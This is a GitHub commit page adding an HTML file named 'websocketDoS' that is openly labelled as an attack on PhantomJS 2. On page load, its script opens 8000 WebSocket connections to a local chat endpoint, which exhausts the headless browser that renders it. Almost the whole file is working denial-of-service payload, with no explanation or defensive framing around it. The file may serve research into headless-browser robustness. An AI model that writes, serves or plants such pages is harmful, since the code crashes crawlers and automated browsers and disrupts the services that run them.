Skip to content

Commit

Permalink
attack
Browse files Browse the repository at this point in the history
  • Loading branch information
Bei Zhang committed Sep 17, 2014
1 parent e7bc75a commit a1d49bd
Showing 1 changed file with 17 additions and 0 deletions.
17 changes: 17 additions & 0 deletions attacks/0.websocketDoS.html
@@ -0,0 +1,17 @@
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title>Attack PhantomJs using WebSocket DoS</title>
</head>
<body>
<script>
// PhantomJS 2
(function () {
for (var i = 0; i < 8000; i++) {
new WebSocket('ws://localhost:9003/chat');
}
})();
</script>
</body>
</html>

0 comments on commit a1d49bd

Please sign in to comment.